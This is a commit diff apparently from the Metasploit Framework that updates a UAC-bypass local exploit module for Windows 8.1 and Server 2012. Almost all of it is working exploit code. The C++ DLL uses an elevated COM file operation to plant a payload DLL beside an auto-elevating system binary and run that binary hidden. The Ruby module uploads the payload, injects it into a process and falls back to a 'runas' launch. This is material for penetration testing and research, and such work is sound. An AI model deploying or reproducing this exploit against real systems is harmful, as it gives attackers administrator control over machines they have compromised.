Update bypass UAC to work on 8.1 and 2012
This commit contains a bunch of work that comes from Meatballs1 and Lesage, and updates the bypassuac_inject module so that it works on Windows 8.x and Windows 2012. Almost zero of the code in this module can be attributed to me. Most of it comes from Ben's work. I did do some code tidying, adjustment of style, etc. but other than that it's all down to other people.bug/bundler_fix
parent
f0261a418c
commit
844460dd87
Binary file not shown.
Binary file not shown.
|
@ -93,7 +93,7 @@
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
@ -132,7 +132,7 @@
|
||||||
<Optimization>MaxSpeed</Optimization>
|
<Optimization>MaxSpeed</Optimization>
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
<PrecompiledHeader />
|
<PrecompiledHeader />
|
||||||
|
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="src\Exploit.cpp" />
|
<ClCompile Include="src\Exploit.cpp" />
|
||||||
<ClCompile Include="src\ReflectiveDll.c" />
|
|
||||||
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="src\Exploit.h" />
|
|
||||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="src\Exploit.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|
247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
|
@ -1,119 +1,158 @@
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
#include "Exploit.h"
|
#include "Exploit.h"
|
||||||
|
|
||||||
void exploit()
|
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
|
||||||
{
|
|
||||||
|
|
||||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
extern "C" {
|
||||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
|
||||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
|
||||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
|
||||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
|
||||||
wchar_t szElevDir[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDllFull[MAX_PATH] = {};
|
|
||||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
|
||||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
|
||||||
wchar_t path[MAX_PATH] = {};
|
|
||||||
wchar_t windir[MAX_PATH] = {};
|
|
||||||
const wchar_t *szElevArgs = L"";
|
|
||||||
const wchar_t *szEIFOMoniker = NULL;
|
|
||||||
PVOID OldValue = NULL;
|
|
||||||
|
|
||||||
IFileOperation *pFileOp = NULL;
|
void exploit(BypassUacPaths const * const paths)
|
||||||
IShellItem *pSHISource = 0;
|
{
|
||||||
IShellItem *pSHIDestination = 0;
|
const wchar_t *szElevArgs = L"";
|
||||||
IShellItem *pSHIDelete = 0;
|
const wchar_t *szEIFOMoniker = NULL;
|
||||||
|
|
||||||
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
PVOID OldValue = NULL;
|
||||||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
|
||||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
|
||||||
|
|
||||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
IFileOperation *pFileOp = NULL;
|
||||||
GetTempPathW(MAX_PATH, path);
|
IShellItem *pSHISource = 0;
|
||||||
|
IShellItem *pSHIDestination = 0;
|
||||||
|
IShellItem *pSHIDelete = 0;
|
||||||
|
|
||||||
/* %temp%\cryptbase.dll */
|
BOOL bComInitialised = FALSE;
|
||||||
wcscat_s(path, MAX_PATH, szSourceDll);
|
|
||||||
|
|
||||||
/* %windir%\System32\sysprep\ */
|
|
||||||
wcscat_s(szElevDir, MAX_PATH, windir);
|
|
||||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
|
||||||
|
|
||||||
/* %windir%\sysnative\sysprep\ */
|
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||||
|
|
||||||
/* %windir\system32\sysprep\cryptbase.dll */
|
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
|
||||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
|
||||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
|
||||||
|
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
|
||||||
|
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
|
||||||
|
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
|
||||||
|
|
||||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
do
|
||||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
|
||||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
|
||||||
|
|
||||||
/* %windir%\system32\sysprep\sysprep.exe */
|
|
||||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
|
||||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
|
||||||
|
|
||||||
if (CoInitialize(NULL) == S_OK)
|
|
||||||
{
|
|
||||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
|
||||||
{
|
{
|
||||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
if (CoInitialize(NULL) != S_OK)
|
||||||
{
|
{
|
||||||
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
dprintf("[BYPASSUACINJ] Failed to initialize COM");
|
||||||
{
|
break;
|
||||||
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
|
||||||
{
|
|
||||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
|
||||||
{
|
|
||||||
/* Copy the DLL file to the sysprep folder*/
|
|
||||||
if (pFileOp->PerformOperations() == S_OK)
|
|
||||||
{
|
|
||||||
/* Execute sysprep.exe */
|
|
||||||
SHELLEXECUTEINFOW shinfo;
|
|
||||||
ZeroMemory(&shinfo, sizeof(shinfo));
|
|
||||||
shinfo.cbSize = sizeof(shinfo);
|
|
||||||
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
||||||
shinfo.lpFile = szElevExeFull;
|
|
||||||
shinfo.lpParameters = szElevArgs;
|
|
||||||
shinfo.lpDirectory = szElevDir;
|
|
||||||
shinfo.nShow = SW_HIDE;
|
|
||||||
|
|
||||||
Wow64DisableWow64FsRedirection(&OldValue);
|
|
||||||
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
|
||||||
{
|
|
||||||
WaitForSingleObject(shinfo.hProcess, 10000);
|
|
||||||
CloseHandle(shinfo.hProcess);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
|
||||||
{
|
|
||||||
if (0 != pSHIDelete)
|
|
||||||
{
|
|
||||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
|
||||||
{
|
|
||||||
pFileOp->PerformOperations();
|
|
||||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
|
||||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
|
||||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
|
||||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
|
||||||
{
|
|
||||||
if (0 != pSHIDelete)
|
|
||||||
{
|
|
||||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
|
||||||
{
|
|
||||||
pFileOp->PerformOperations();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bComInitialised = TRUE;
|
||||||
|
|
||||||
|
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Copy the DLL file to the target folder*/
|
||||||
|
if (pFileOp->PerformOperations() != S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Execute the target binary */
|
||||||
|
SHELLEXECUTEINFOW shinfo;
|
||||||
|
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||||
|
shinfo.cbSize = sizeof(shinfo);
|
||||||
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||||
|
shinfo.lpFile = paths->szElevExeFull;
|
||||||
|
shinfo.lpParameters = szElevArgs;
|
||||||
|
shinfo.lpDirectory = paths->szElevDir;
|
||||||
|
shinfo.nShow = SW_HIDE;
|
||||||
|
|
||||||
|
Wow64DisableWow64FsRedirection(&OldValue);
|
||||||
|
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
||||||
|
{
|
||||||
|
WaitForSingleObject(shinfo.hProcess, 10000);
|
||||||
|
CloseHandle(shinfo.hProcess);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||||
|
|| NULL == pSHIDelete)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->PerformOperations() == S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Successfully deleted dll");
|
||||||
|
|
||||||
|
// bail out this point because we don't need to keep trying to delete
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
SAFERELEASE(pSHIDelete);
|
||||||
|
|
||||||
|
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||||
|
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||||
|
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||||
|
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||||
|
|| NULL == pSHIDelete)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pFileOp->PerformOperations() == S_OK)
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
SAFERELEASE(pSHIDelete);
|
||||||
|
SAFERELEASE(pSHIDestination);
|
||||||
|
SAFERELEASE(pSHISource);
|
||||||
|
SAFERELEASE(pFileOp);
|
||||||
|
|
||||||
|
if (bComInitialised)
|
||||||
|
{
|
||||||
|
CoUninitialize();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
}
|
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
|
@ -5,4 +5,32 @@
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <guiddef.h>
|
#include <guiddef.h>
|
||||||
|
|
||||||
EXTERN_C void exploit();
|
// Uncomment this line to include debug output
|
||||||
|
//#define DEBUGTRACE
|
||||||
|
|
||||||
|
#ifdef DEBUGTRACE
|
||||||
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
static void real_dprintf(char *format, ...)
|
||||||
|
{
|
||||||
|
va_list args;
|
||||||
|
char buffer[1024];
|
||||||
|
va_start(args, format);
|
||||||
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
||||||
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||||
|
OutputDebugStringA(buffer);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define dprintf(...)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct _BypassUacPaths
|
||||||
|
{
|
||||||
|
wchar_t szElevDir[MAX_PATH];
|
||||||
|
wchar_t szElevDirSysWow64[MAX_PATH];
|
||||||
|
wchar_t szElevDll[MAX_PATH];
|
||||||
|
wchar_t szElevDllFull[MAX_PATH];
|
||||||
|
wchar_t szElevExeFull[MAX_PATH];
|
||||||
|
wchar_t szDllTempPath[MAX_PATH];
|
||||||
|
} BypassUacPaths;
|
||||||
|
|
||||||
|
EXTERN_C void exploit(BypassUacPaths const * const paths);
|
||||||
|
|
43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
|
@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
|
||||||
|
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
{
|
{
|
||||||
BOOL bReturnValue = TRUE;
|
switch (dwReason)
|
||||||
switch( dwReason )
|
{
|
||||||
{
|
case DLL_QUERY_HMODULE:
|
||||||
case DLL_QUERY_HMODULE:
|
if (lpReserved != NULL)
|
||||||
if( lpReserved != NULL )
|
{
|
||||||
*(HMODULE *)lpReserved = hAppInstance;
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
break;
|
}
|
||||||
case DLL_PROCESS_ATTACH:
|
break;
|
||||||
hAppInstance = hinstDLL;
|
case DLL_PROCESS_ATTACH:
|
||||||
exploit();
|
hAppInstance = hinstDLL;
|
||||||
ExitProcess(0);
|
|
||||||
break;
|
if (NULL != lpReserved)
|
||||||
case DLL_PROCESS_DETACH:
|
{
|
||||||
case DLL_THREAD_ATTACH:
|
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
|
||||||
case DLL_THREAD_DETACH:
|
exploit((BypassUacPaths*)lpReserved);
|
||||||
break;
|
}
|
||||||
}
|
|
||||||
return bReturnValue;
|
ExitProcess(0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
|
||||||
uac = false
|
uac = false
|
||||||
winversion = session.sys.config.sysinfo['OS']
|
winversion = session.sys.config.sysinfo['OS']
|
||||||
|
|
||||||
if winversion =~ /Windows (Vista|7|8|2008)/
|
if winversion =~ /Windows (Vista|7|8|2008|2012)/
|
||||||
unless is_system?
|
unless is_system?
|
||||||
begin
|
begin
|
||||||
enable_lua = registry_getvaldata(
|
enable_lua = registry_getvaldata(
|
||||||
|
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Exploit::EXE
|
include Exploit::EXE
|
||||||
|
include Exploit::FileDropper
|
||||||
include Post::File
|
include Post::File
|
||||||
include Post::Windows::Priv
|
include Post::Windows::Priv
|
||||||
include Post::Windows::ReflectiveDLLInjection
|
include Post::Windows::ReflectiveDLLInjection
|
||||||
|
@ -47,43 +48,78 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
||||||
]
|
]
|
||||||
],
|
],
|
||||||
'DisclosureDate'=> "Dec 31 2010"
|
'DisclosureDate'=> 'Dec 31 2010'
|
||||||
))
|
))
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def bypass_dll_path
|
def exploit
|
||||||
# path to the bypassuac binary
|
# Validate that we can actually do things before we bother
|
||||||
path = ::File.join(Msf::Config.data_directory, "post")
|
# doing any more work
|
||||||
|
validate_environment!
|
||||||
|
check_permissions!
|
||||||
|
|
||||||
# decide, x86 or x64
|
# get all required environment variables in one shot instead. This
|
||||||
sysarch = sysinfo["Architecture"]
|
# is a better approach because we don't constantly make calls through
|
||||||
if sysarch =~ /x64/i
|
# the session to get the variables.
|
||||||
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
env_vars = get_envs('TEMP', 'WINDIR')
|
||||||
fail_with(
|
|
||||||
Exploit::Failure::BadConfig,
|
case get_uac_level
|
||||||
"x86 Target Selected for x64 System"
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable,
|
||||||
|
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||||
)
|
)
|
||||||
end
|
when UAC_DEFAULT
|
||||||
|
print_good('UAC is set to Default')
|
||||||
if sysarch =~ /WOW64/i
|
print_good('BypassUAC can bypass this setting, continuing...')
|
||||||
return ::File.join(path, "bypassuac-x86.dll")
|
when UAC_NO_PROMPT
|
||||||
else
|
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||||
return ::File.join(path, "bypassuac-x64.dll")
|
runas_method(env_vars['TEMP'])
|
||||||
end
|
return
|
||||||
else
|
|
||||||
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
|
||||||
fail_with(
|
|
||||||
Exploit::Failure::BadConfig,
|
|
||||||
"x64 Target Selected for x86 System"
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
::File.join(path, "bypassuac-x86.dll")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
dll_path = bypass_dll_path
|
||||||
|
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
|
||||||
|
|
||||||
|
upload_payload_dll(payload_filepath)
|
||||||
|
|
||||||
|
pid = spawn_inject_proc(env_vars['WINDIR'])
|
||||||
|
|
||||||
|
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
|
||||||
|
run_injection(pid, dll_path, file_paths)
|
||||||
|
|
||||||
|
# Windows 7 this is cleared up by DLL but on Windows
|
||||||
|
# 8.1 it fails to delete the the file.
|
||||||
|
register_file_for_cleanup(file_paths[:szElevDllFull])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def bypass_dll_path
|
||||||
|
# path to the bypassuac binary
|
||||||
|
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||||
|
|
||||||
|
# decide, x86 or x64
|
||||||
|
sysarch = sysinfo['Architecture']
|
||||||
|
if sysarch =~ /x64/i
|
||||||
|
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||||
|
fail_with(
|
||||||
|
Exploit::Failure::BadConfig,
|
||||||
|
'x86 Target Selected for x64 System'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
return ::File.join(path, 'bypassuac-x64.dll')
|
||||||
|
else
|
||||||
|
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||||
|
fail_with(
|
||||||
|
Exploit::Failure::BadConfig,
|
||||||
|
'x64 Target Selected for x86 System'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
return ::File.join(path, 'bypassuac-x86.dll')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def check_permissions!
|
def check_permissions!
|
||||||
# Check if you are an admin
|
# Check if you are an admin
|
||||||
|
@ -97,139 +133,151 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
if admin_group
|
if admin_group
|
||||||
print_good('Part of Administrators group! Continuing...')
|
print_good('Part of Administrators group! Continuing...')
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def runas_method(temp_dir)
|
||||||
|
|
||||||
def exploit
|
|
||||||
validate_environment!
|
|
||||||
|
|
||||||
case get_uac_level
|
|
||||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
|
||||||
fail_with(Exploit::Failure::NotVulnerable,
|
|
||||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
|
||||||
)
|
|
||||||
when UAC_DEFAULT
|
|
||||||
print_good "UAC is set to Default"
|
|
||||||
print_good "BypassUAC can bypass this setting, continuing..."
|
|
||||||
when UAC_NO_PROMPT
|
|
||||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
|
||||||
runas_method
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
check_permissions!
|
|
||||||
|
|
||||||
@temp_path = expand_path('%TEMP%').strip
|
|
||||||
|
|
||||||
upload_payload_dll!
|
|
||||||
|
|
||||||
pid = spawn_inject_proc
|
|
||||||
|
|
||||||
run_injection(pid, bypass_dll_path)
|
|
||||||
|
|
||||||
# delete the uac bypass payload
|
|
||||||
vprint_status("Cleaning up payload file...")
|
|
||||||
file_rm(payload_filepath)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def payload_filepath
|
|
||||||
"#{@temp_path}\\CRYPTBASE.dll"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def runas_method
|
|
||||||
payload = generate_payload_exe
|
payload = generate_payload_exe
|
||||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
payload_filename = Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||||
tmpdir = expand_path("%TEMP%")
|
temp_exe = "#{temp_dir}\\#{payload_filename}"
|
||||||
tempexe = tmpdir + "\\" + payload_filename
|
|
||||||
write_file(tempexe, payload)
|
print_status("Uploading payload: #{temp_exe}")
|
||||||
print_status("Uploading payload: #{tempexe}")
|
write_file(temp_exe, payload)
|
||||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
register_file_for_cleanup(temp_exe)
|
||||||
print_status("Payload executed")
|
|
||||||
|
